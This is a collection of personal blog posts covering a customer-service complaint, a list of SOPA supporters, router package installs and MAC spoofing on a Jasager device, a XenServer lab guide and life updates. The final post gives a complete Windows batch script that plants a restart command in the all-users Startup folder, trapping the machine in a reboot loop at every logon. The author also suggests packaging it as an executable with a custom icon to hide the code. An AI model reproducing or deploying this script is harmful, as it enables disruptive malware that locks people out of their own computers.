I called after-hours and left a message with my contact telephone number on the 16th of January.  I received no response on the 17th, and again left a voicemail on the company’s answering machine with my contact information that evening.  Just after leaving the message, I sent an email with the information.  On the 18th of January, I received a phone call from a representative that stated he would talk to his manager and reply to me via email about my order.  Later that evening, past the closing time for Data Alliance, LLC, I received no email, and sent another email to ask why I received no further contact.

On the 19th of January, I phoned in during my lunch break at work, to attempt to contact a representative of the company.  The person who answered the phone was the same guy as on the 18th of January.  He finally spoke to his manager while I was on the phone, and the representative came back to state that the order never made it to shipping and that he can’t do anything else but send it off to them to get it shipped.

Questioning why the Google order status showed them as shipping out the order on the 9th of January, he had no response to that, other than it was an incompatibility between Google Wallet payment processing and their in-house invoicing system.

The representative was quick to state that they wouldn’t do anything for the mix up, and wasn’t much of any help overall, besides talking to a manager to make them push my order through.  To this day, the 27th of January, I have yet to receive any sort of compensation for the shipping cost, a measly 8 dollars that I suggested would be nice of them.  Even asking for so much as a coupon for a future order seemed like it would happen only if hell froze over.

http://www.digitaltrends.com/opinion/the-439-organizations-sopa-opponents-should-worry-about/

More than 400 organizations have publicly expressed support of the contentious Stop Online Piracy Act (SOPA), or the passage of other similar anti-piracy legislation. Here's the complete list.

<snip>

1-800 Contacts, Inc.
1-800-PetMeds
2b1 Inc
3M Company
60 Plus Association
ABRO Industries, Inc.
Acushnet Company
Adidas America
Advanced Medical Technology Association (AdvaMed)
Allen Russell Photography
Alliance for Safe Online Pharmacies (ASOP)
Alliance of Automobile Manufacturers
Alliance of Visual Artists (AVA)
Altria Client Services
American Apparel and Footwear Association
American Association of Independent Music (A2IM)
American Board of Internal Medicine
American Federation of Musicians
American Federation of Television and Radio Artists (AFTRA)
American Gramaphone LLC
American Made Alliance
American Mental Health Counselors Association
American Photographic Artists
American Society of Composers, Authors and Publishers (ASCAP)
American Society of Media Photographers
American Society of Picture Professionals
American Watch Association
Anatoly Pronin Photography
Andrea Rugg Photography
Anti-Counterfeiting and Piracy Initiative (ACAPI)
Applied DNA Sciences
Art Holeman Photography
Association of American Publishers (AAP)
Association of Equipment Manufacturers
Association of Independent Music Publishers (AIMP)
Association of Talent Agents (ATA)
Association of Test Publishers
AstraZeneca plc
Australian Medical Council
Autodesk, Inc.
Automotive Aftermarket Industry Association
Baker & Taylor Ent.
Bay State Psychological Associates
Beachbody, LLC
Beam Global Spirits & Wine
Blue Sky Studios, Inc.
BMG Chrysalis
Bose Corporation
Braasch Biotech LLC
Brian Stevenson Photography
Brigid Collins Family Support Center
Broadcast Music, Inc. (BMI)
Bulding and Construction Trades Department
Burberry
C. F. Martin & Co., Inc.
Callaway Golf Company
Cascade Designs Incorporated
Caterpillar Inc.
Caveon, LLC
CBS Corporation
Cengage Learning
Center for Credentialing & Education
Center Stage Photography
CFA Institute
Chanel USA
Christian Music Trade Association
Christopher Semmes Photography
Church Music Publishers Association
CMH Images
Coach
Coalition Against Counterfeiting and Piracy (CACP)
Coalition Against Online Video Piracy (CAOVP)
Columbia Sportswear Company
Comcast Corporation
Commercial Photo Design
Commercial Photographers International
Comprehensive Adult Student Assessment System
Concerned Women for America (CWA)
Consumer Healthcare Products Association
Copyhype
Copyright Alliance
Copyright Clearance Center (CCC)
Coty Inc.
Council of Better Business Bureaus (CBBB)
Council of Fashion Designers of America
Country Music Association
Country Music Television
Covington & Burling LLP
Cowan, DeBaets, Abrahams & Sheppard LLP
Cowan, Liebowitz & Latman, P.C.
Creative America
CropLife America
Cross-Entertainment LLC
CSA Group
CVS Caremark
D’Addario & Company, Inc.
Dan Sherwood Photography
Danita Delimont Stock Photography
Davis Wright Tremaine LLP
Dayco Products, LLC
Deluxe Entertainment Services Group
Dennyfoto
Derek DiLuzio Photography
DeVaul Photography
Directors Guild of America (DGA)
Direct Selling Association (DSA)
Directional Insight
Disney Publishing Worldwide, Inc.
Distefano Enterprises Inc.
Doriguzzi Photographic Artistry
Dolby Laboratories, Inc.
Dolce & Gabbana USA, INC.
Dollar General Corporation
Don Grall Photography
Dunford Architectural Photography
Eagle Rock Entertainment
Ed McDonald Photography
Educational & Industrial Testing Service
Electronic Arts, Inc.
Electronic Components Industry Association (ECIA)
Eli Lilly and Company
Elsevier
EMI Christian Music Group
EMI Music Publishing
ESPN
Englebert Photography
Entertainment Software Association (ESA)
ERAI, Inc.
Eric Meola Studio Inc
Estée Lauder Companies
Evidence Photographers International Council
Ex Officio
Exxel Outdoors
FAME Publishing Co., LLC.
FAME Recording Studios
Far Bank Enterprises
Fashion Business Incorporated
Federation of State Boards of Physical Therapy
Fender Musical Instrument Company
Footwear Distributors & Retailers of America (FDRA)
Ford Motor Company
Fortune Brands, Inc.
Fraternal Order of Police (FOP)
Fred J. Lord Photography
GAR Associates
Gelderland Productions, L.L.C.
Gemvision Corporation
Gibson Guitar Corp.
GlaxoSmithKline
Go Daddy
Gospel Music Association
Governors America Corp.
Graduate Management Admission Council
Graphic Artists Guild
Greeting Card Association (GCA)
Greg Nikas Photography
Guru Denim
H.S. Marketing & Design, Inc.
Hachett Book Group
Harley-Davidson Motor Company
HarperCollins Publishers
Harry Fox Agency
Hastings Entertainment, Inc.
Hyperion
ICM Distributing Company, Inc.
IDS Publishing
IEC Electronics corp.
Images Plus
Imaging Supplies Coalition (ISC)
Independent Distributors of Electronics Association (IDEA)
Independent Film & Television Alliance (IFTA)
INgrooves
Innate-gear
International Alliance of Theatrical and Stage Employees (IATSE)
International AntiCounterfeiting Coalition (IACC)
International Brotherhood of Electrical Workers (IBEW)
International Brotherhood of Teamsters (IBT)
International Trademark Association (INTA)
International Union of Police Associations
IPC-Association Connecting Electronics Industries
Ira Montgomery Photography
Irell & Manella LLP
J.S. Grove Photography
James Drug Inc.
Jaynes Gallery
JCPage Photography
Jean Poland Photography
Jeff Stevensen Photography
Jenner & Block LLP
John Fulton Photography
John Wiley & Sons, Inc.
Johnson & Johnson
Juicy Couture, Inc
Julien McRoberts Photography
K&R Photographics
kate spade
Kekepana International Services
Kelley Drye & Warren LLP
Kendall Brill & Klieger LLP
Kenneth Garrett, photographer for National Geographic
Killing Jar Productions LLC
Kinsella Weitzman Iser Kump & Aldisert LLP
Lacoste USA
Lathrop & Gage LLP
Leatherman Tool Group, Inc.
Lexmark International, Inc.
Light Perspectives
Linda Olsen Photography
Little Dog Records
Liz Claiborne, Inc
Loeb & Loeb LLP
Lost Highway Records
L’Oréal USA
Lucky Brand Jeans
LVMH Moët Hennessy Louis Vuitton
Macmillan
Major County Sheriffs
Major League Baseball
Majority City Chiefs
Marcia Andberg Associates LLC
Mark Niederman Photography
Marmot
Marona Photography
Marvel Entertainment, LLC
MasterCard Worldwide
MCA Records
McGraw-Hill Education
McLain Photography Inc
Merck & Co., Inc.
Mercury Nashville
Messy Face Designs, Inc.
Michael Stern Photography
MicroRam Electronics, Inc.
Minor League Baseball (MiLB)
Minter Works of Art
Mira Images
Monster Cable Products, Inc.
Moose’s Photos
Morningstar Films LLC
Motion Picture Association of America, Inc. (MPAA)
MotionMasters
Motor & Equipment Manufacturers Association
Moving Picture Technicians
MPA – The Association of Magazine Media
Mr. Theodor Feibel (sole proprietor)
Music Managers Forum-U.S.
Nashville Songwriters Association International
Natalie Neckyfarow Actor/Dancer/Singer
National Association of Broadcasters
National Association of Manufacturers
National Association of Prosecutor Coordinators
National Association of Recording Merchandisers (NARM)
National Association of State Chief Information Officers
National Association of Theatre Owners (NATO)
National Basketball Association (NBA)
National Board for Certified Counselors
National Board for Certified Counselors Foundation
National Cable & Telecommunications Association (NCTA)
National Center for Victims of Crime
National Crime Justice Association
National District Attorneys Association
National Domestic Preparedness Coalition
National Electrical Manufacturers Association (NEMA)
National Football League (NFL)
National Music Publishers’ Association (NMPA)
National Narcotics Offers’ Associations’ Coalition
National Retail Federation (NRF)
National Sheriffs’ Association (NSA)
National Songwriters Association
National Troopers Coalition
NBCUniversal
Nervous Tattoo Inc., dba Ed Hardy
New Balance Athletic Shoe, Inc.
New Era Cap Co Inc
New Levels Ent. Co. LLC
News Corporation
Next Decade Entertainment, Inc.
NHL Enterprises, L.P.
Nicholas Petrucci, Artist, LLC
Nike, Inc.
Nintendo of America Inc.
Nissle Fine Art Photography
North Dakota Pharmacists Association
North Dakota Pharmacy Service Corporation
Oakley, Inc.
One Voice Recordings
OpSec Security, Inc.
Outdoor Industry Association
Outdoor Power Equipment Institute (OPEI)
Outdoor Research, Inc
Pacific Component Xchange, Inc.
Party Killer Films LLC
Patterson Belknap Webb & Tyler LLP
Pearson Clinical Assessment
Pearson Education
Peavey Electronics Corporation
Penguine Group (USA) Inc.
Perry Ellis International
Personal Care Products Council
Peter C. Brandt, Architectural and Fine Art Photography
Peter Hawkins Photography, Inc.
Pfizer Inc.
PGA of America
Pharmaceutical Research and Manufacturers of America (PhRMA)
Philip Morris International
Photojournalist Dave Bartruff
Picture Archive Council of America (PACA)
Pigfactory Music
PING
PNW Images
Premier League
Production Music Association (PMA)
Professional Photographers of America
Proskauer Rose LLP
Provident Music Group
Quality Float Works, Inc.
Raging Waters Music
Ralph Lauren Corporation
Ramsay Corporation
Random House
Raulet Property Partners
Rebel Photo
Recording Industry Association of America (RIAA)
Red4 Music/Doogs Rock Inc
Red Wing Shoe Company
Reebok International Ltd.
Reed Elsevier Inc.
Republic Nashville
Retail Industry Leaders Association (RILA)
Revlon
Richard Flutie Photography
Rite Aid
Robin Davis Photography, Inc.
Robins, Kaplan, Miller & Ciresi LLP
Rodger Scott Craig, a member of Liverpool Express, The Merseybeats, Fortune, Harlan
Cage, 101 South, and Mtunz Media
Roger Smith Photography Services
Rolex Watch USA Inc.
Romance Writers of America (RWA)
Rosetta Stone Inc.
Saddle Creek
Sage Studios LLC
Sam D’Amico Photography
Scholastic, Inc.
Schneider Electric
Screen Actors Guild (SAG)
Sean McGinty Photography [2012-03-16 Sean has requested removal of his company from this list.]
Secret Sea Visions (Photography)
SESAC, Inc.
SG Industries, Inc.
Sherman & Sterling LLP
Showdog Universal Music
Shure Incorporated
SIGMA Assessment Systems
Simpson Thacher & Bartlett LLP
Six Degrees Records
Small Business & Entrepreneurship Council
SMC Entertainment
SMT Corp.
SoBe Entertainment
Society of Sport & Event Photographers
Software & Information Industry Association (SIIA)
Sony Electronics Inc.
Sony Music Entertainment
Sony Music Nashville
Sony Pictures Entertainment
Soul Appeal Records and Music
SoundExchange
Southern Gothic LLC
Specialty Equipment Market Association (SEMA)
SPI (The Plastics Industry Trade Association)
Sporting Goods Manufacturers Association
Sports Rights Owners Coalition
Spring Fever Productions LLC
Spyder Active Sports, Inc
State International Development Organization (SIDO)
Stenbakken Photography
Stephen Dantzig Photography
Stock Artist Alliance
Stuart Weitzman Holdings, LLC
Student Photographic Society
Studio 404
SunRise Solar Inc.
Taylor Glenn Photographs
Taylor Guitars
Taylor Made Golf Company, Inc.
Tednologies, Inc.
The Cambridge Don
The Collegiate Licensing Company/IMG College
The Donath Group, Inc.
The Dow Chemical Company
The Estee Lauder Companies
The McGraw-Hill Companies
The Music People! Inc.
The National Association of Theater Owners (NATO)
The National Collegiate Athletic Association (NCAA)
The Perseus Books Groups
The Recording Academy (National Academy of Recording Arts and Sciences)
The Timberland Company
The United States Conference of Mayors
The Walt Disney Company
Tiffany & Co.
Time Warner Inc.
Tony Bullard Photography
Toshiba America Business Solutions, Inc.
TRA Global
Tricoast Worldwide
Trio Productions, Inc. / Songscape Music,
Twist & Shout, Inc.
U.S. Chamber of Commerce
Ultimate Fighting Championship (UFC)
UMG Publishing Group Nashville
Underwriters Laboratories Inc.
United States Chamber of Commerce
United States Tennis Association
Universal Music Group
Uniweld Products Inc.
VF Corporation
Viacom
Vibram USA, Inc
Virtual Chip Exchange USA, Inc.
Visa, Inc.
Voltage Pictures, LLC
W.R. Case & Sons Cutlery Co.
W.W. Norton & Company
Walcott Studio, LLC
Wal-Mart
Warner Music Group
Warner Music Nashville
Wendy Kaveney Photography
Western Psychological Services
Wes
White & Case LLP
Wolters Kluewer Health
Word Entertainment
Xerox Corporation
Zippo Manufacturing Company
Zumba Fitness, LLC

*Update 2012-03-16*
This list is no longer accurate. The original site as linked above, removed a bunch of companies from their list since their original posting.

Other than the new look, I modified an open source pastebin for myself, to be able to create and show text (http://www.andrewdefilippis.com/pastebin/view.php?id=b5shbknwwkyo). I started off modifying the original pastebin for use by ReachONE Internet technicians and administrators on an internal server, but decided to continue working on it for use on my own server. The index.php file is locked down for use by myself and those who I have given login credentials to. The random blog reader is not going to be able to paste any text to it, but everyone is able to view pastes that are linked to, similar to the link above.

Just a short while ago, I migrated my website to a virtual private server.  This has been a great move considering I am spending the same amount per month, but instead of an overloaded shared box, I now have quite a bit of bandwidth, I/O, and RAM alloted to myself.  I will most likely bring up more sites on this box, and will continue to improve this website.  Recently, I found a new theme that I enjoy looking at.  The previous theme was over used and it was annoying seeing it everywhere.

I keep looking at Subaru STIs and it sucks not being able to afford one at this point.  Even though I have a perfectly working vehicle, I enjoy driving too much, and wish I had a more nimble vehicle to take to the track.  The MY07 is what I have been looking over lately and I have found quite a few.  I’m hoping to be able to purchase one sometime in the near future, and not have to wait until I’m past my twenties.

P90X has been kicking my butt lately.  Tomorrow, I will be starting the 3rd week.  After many tries, I have finally succeeded in finding a groove and sticking to it.  For me, it really was tough trying to get into a routine and attend school.  I don’t really know why I could never make it past a week or two every once in a while when I would try again.  But now that I am done, and I am going to work, it is almost like something clicked, and I am now able to power through the workouts.  It has been fun, and I can’t wait for the 30, 60, and 90 day results.  I don’t plan on stopping right after 90 days are done, so my growth will hopefully continue well past this first round.

Havilah and I are still going strong at just over four years and four months.  We have our ups and downs like every other couple, but we seem to be learning more about what we specifically want, both individually and together.  I continue to struggle with communicating effectively with her, and I know that I have much to learn, but I feel like I succeed every once in a while in expressing myself.  A relationship takes time and effort to be successful.  If someone could really prepare another person with advise on how to stay in a relationship, it would be, to have the strength to make small changes to come to an agreement, learn that you have to sacrifice certain things to become as one person, and that arguments do not have to be the end of a relationship, nor are they a sign that it should be the end of a relationship.  Most of the time, arguments are just misunderstandings that get blown way out of proportion.  It can be from a lack of listening, or from an action that is against what the other person believes or expects of you.  For me, it sometimes takes a while to get to a point where I finally realize that I am closing down, and pushing Havilah away.  I have to force myself to snap out of it, and express what I need to, in order to clear up the misunderstandings that caused the argument in the first place.  In general, relationships are made, they are not gifted.  Don’t expect that you will have a great relationship by sitting on the sideline, being lazy, or not listening.

To further educate myself, gain experience, and also make use of my spare time while searching for employment, I am continuing my internship in the Information Technology department on campus. I hope that one of the employers who have posted job openings, of which I have applied for, will contact me soon for an interview. The best positions I could hope for, would be Linux administration, Windows administration, entry-level database administration, and network administration.

As a side note, if you are reading this and work for, or manage an Information Technology company or department that is currently hiring for positions mentioned above, please contact me using the email address in my “About Me” page. I am immediately available for hire, and can work any day of the week. I would prefer morning, or evening hours, but will work graveyard hours on a temporary basis.

Here’s to hoping that this blog post pays off!

This program has been a blast, made better by my friends and the instructors. Kelly Hollowell, Donald Souza, Ray Robinson, and Jody Randall have given me a great education. Going into the program, I was fairly advanced in my knowledge of computers, but what I didn’t know is how much of a noob I really was. I have gained knowledge in operating systems such as Debian Linux, RedHat Linux, Windows Server 2003, and 2008. The instructors have enabled me to start a career in the Information Technology sector, through opportunities in class, and the internship with Cris-Jon Lindsay on campus.

I am extremely grateful for the education I have received through the Computer Networking and Information Systems Security Degree program, and internship, at Clover Park Technical College.

Useful Tools on the Jasager (Fonera) Router:

root@Jasager:~# cd /tmp

#This is htop, an advanced version of top
root@Jasager:/tmp# wget http://ipkg.k1k2.de/packages/htop_0.6.5-1_mips.ipk
root@Jasager:/tmp# ipkg install htop_0.6.5-1_mips.ipk
root@Jasager:/tmp# rm *.ipk

#This is nano, an easy to use text editor
root@Jasager:/tmp# wget http://ipkg.k1k2.de/packages/nano_2.0.6-1_mips.ipk
root@Jasager:/tmp# ipkg install nano_2.0.6-1_mips.ipk
root@Jasager:/tmp# rm *.ipk

#This is openntpd, an ntp client for the Fonera router (current date and time)
root@Jasager:/tmp# wget http://ipkg.k1k2.de/packages/openntpd_3.9p1-1_mips.ipk
root@Jasager:/tmp# ipkg install openntpd_3.9p1-1_mips.ipk
root@Jasager:/tmp# rm *.ipk

After installing openntpd, you need to configure it to contact the servers closest to you.
I am located in the United States, so I used the servers from us.pool.ntp.org.

NTP server reference – http://www.pool.ntp.org/en/
root@Jasager:/tmp# cd /etc
root@Jasager:/etc# cat > ntpd.conf << “EOF”
server 0.us.pool.ntp.org
server 1.us.pool.ntp.org
server 2.us.pool.ntp.org
server 3.us.pool.ntp.org
EOF

1.  Open up the webif management page (http://192.168.1.1/index.html or http://192.168.1.1/webif.html)
2.  Click on the “System” tab
3.  Select the timezone that you are in
4.  Click “Save Changes” in the bottom right corner
5.  Click “Apply Changes” in the bottom right corner
At the moment, I do not recommend installing openntpd because it seems to continually spawn a new set of processes every 5 minutes or so, eventually slowing down the router. I am currently looking for a solution.

Changing the MAC addresses:

First we are going to install “macchanger” to our Jasager (Fonera) router.

root@Jasager:/etc# cd /tmp

#This is macchanger, a tool that will allow you to easily change your MAC addresses
root@Jasager:/tmp# wget http://ipkg.k1k2.de/packages/macchanger_1.5.0-1_mips.ipk
root@Jasager:/tmp# ipkg install macchanger_1.5.0-1_mips.ipk
root@Jasager:/tmp# rm *.ipk

After installing macchanger, we need to modify the file network located at /etc/init.d/network
If you installed nano, run nano network otherwise run vi network

root@Jasager:/tmp# cd /etc/init.d
root@Jasager:/etc/init.d# cp network network.bak #Make a backup of the original file
root@Jasager:/etc/init.d# chmod 444 network.bak #Make the backup file read-only

You will need to insert two lines into the file to change the MAC address
Replace “00:11:22:33:44:55″ with a MAC of your choice (make sure they are the SAME)

root@Jasager:/etc/init.d# nano network

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=40
STOP=40

boot() {
setup_switch() { return 0; }

include/lib/network
setup_switch
[ -s /etc/config/wireless ] || /
/sbin/wifi detect > /etc/config/wireless
macchanger ath0 -m 00:11:22:33:44:55
macchanger wifi0 -m 00:11:22:33:44:55
/sbin/wifi up
}

1.  Save the file, overwriting the existing file named “network” and reboot the router.
2.  When the router is finished booting up, run ifconfig to confirm that ath0 and wifi0 contain the MAC address you specified.
3.  Run a wireless network scanner to confirm that the router is broadcasting the new MAC address (airmon-ng and airodump-ng)

I didn’t attempt it, but you could possibly use

(ifconfig ath0 hw ether 00:11:22:33:44:55) and

(ifconfig wifi0 hw ether 00:11:22:33:44:55)

instead of

(macchanger ath0 -m 00:11:22:33:44:55) and

(macchanger wifi0 -m 00:11:22:33:44:55)

The image below shows Ubuntu and Untangle being displayed using the XenCenter Management Console. Untangle is blocking Ubuntu from accessing Facebook.

Click on the image to enarge it.

What you will need:

• XenServer-5.5.0-Update2-install-cd.iso (Here)
• XenServer-5.5.0-Update2-linux-cd.iso (Here)
• XenServer-5.5.0-Update2-XenCenter.msi (Here)
• ubuntu-9.10-desktop-amd64.iso (Here)
• untangle_720_amd64.iso (Here)
• Two CD-RW discs or 4 CD-R discs
• One dedicated server
• One workstation computer

Instructions:

1. Burn the XenServer Install CD ISO to one of your CD’s and burn the XenServer Linux CD ISO to one of the other CD’s.
2. Install XenCenter onto your Windows workstation. (Linux users can use OpenXenCenter).
3. Insert the XenServer CD into your server and boot to the disc drive.
4. Follow the prompts to install and configure your server, including setting a static IP address.
5. When asked to do so, insert the Linux Guest Support CD into the server’s disc drive and continue with the install.
6. After the install is finished, boot to the hard drive where you installed XenServer.
7. Connect to your XenServer using XenCenter on your workstation.  Enter the static IP address you set and the root password you created during the configuration of your server.
8. Check the box next to your server in the activation window.  Click on Activate, enter the information into the browser activation form and submit it.
9. After registering, you will receive an email that includes the license key as an attachment.  Save the license file to your hard drive.
10. In XenCenter, go to Server > Install License Key, navigate to the folder where license.xslic is located and click Open.
11. Create a single virtual internal network. (Click on your server, Network tab > Add Network > Internal Network)
12. Create one virtual machine for Untangle, giving it the physical external network and virtual internal network.  (VM > New | Template “Other Install Media” | Name “Untangle” | Location “Physical DVD Drive” | CPU & Memory “Initial Memory 1024MB” | Virtual Disks “Add” > 70GB | Virtual Interfaces “External Physical & Internal Virtual”)
13. Create one virtual machine for Ubuntu, giving it ONLY the virtual internal network.  (VM > New | Template “Other Install Media” | Name “Ubuntu” | Location “Physical DVD Drive” | CPU & Memory “Initial Memory 2048MB” | Virtual Disks “Add” > 100GB | Virtual Interfaces “Internal Virtual”)
14. Erase the first CD-RW, or burn Ubuntu to one of the empty CD-R discs.
15. Erase the second CD-RW, or burn Untangle to one of the empty CD-R discs.
16. Insert the Ubuntu CD into the server’s disc drive, start the Ubuntu VM and run the install using the Normal Mode.
17. Insert the Untangle CD into the server’s disc drive, start the Untangle VM and run the install using the Expert Mode. (During the install you can only use the keyboard.  After it finishes, the mouse is usable.)

After installing, Ubuntu will load to its desktop and Untangle to its initial startup screen.  Finish the Untangle setup and close the browser window.  You should now see the options menu at the bottom of the screen.  We are going to need to use the terminal to change the screen resolution.

Fixing the screen resolution:

In Untangle, open the terminal and enter the root password you created during the install.  Enter the following into the terminal:

cd /etc/X11
cp xorg.conf xorg.conf.bak
editor xorg.conf

Enter or change what is shown below:

Section “Monitor”
Identifier “Configured Monitor”
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSection

Section “Screen”
Identifier “Default Screen”
Device “Configured Video Device”
Monitor “Configured Monitor”
SubSection “Display”
Viewport 0 0
Depth 24
EndSubSection
EndSection

In Ubuntu, open the terminal and enter the root password you created during the install. Enter the following into the terminal:

sudo passwd root
sudo X -configure
cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
cd /
sudo gedit xorg.conf.new

Edit the monitor section to be:

Section “Monitor”
Identifier “Monitor0″
HorizSync 40.00 – 150.00
VertRefresh 60.0
VendorName “Generic”
ModelName “Generic”
EndSection

Click on: File > Save As > Folder (/etc/X11) | xorg.conf

Log off and sign in

The resolution should now be 1152×864 in Ubuntu and 1024×768 in Untangle.

You have accomplished:

• Installing the bare metal hypervisor XenServer onto a dedicated server.
• Configuring two virtual machines to communicate over a virtual network connection.
• Modifying xorg.conf to be able to use a larger resolution.
• Protecting one operating system, with a second operating system.

April Fools Day has officially started!

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.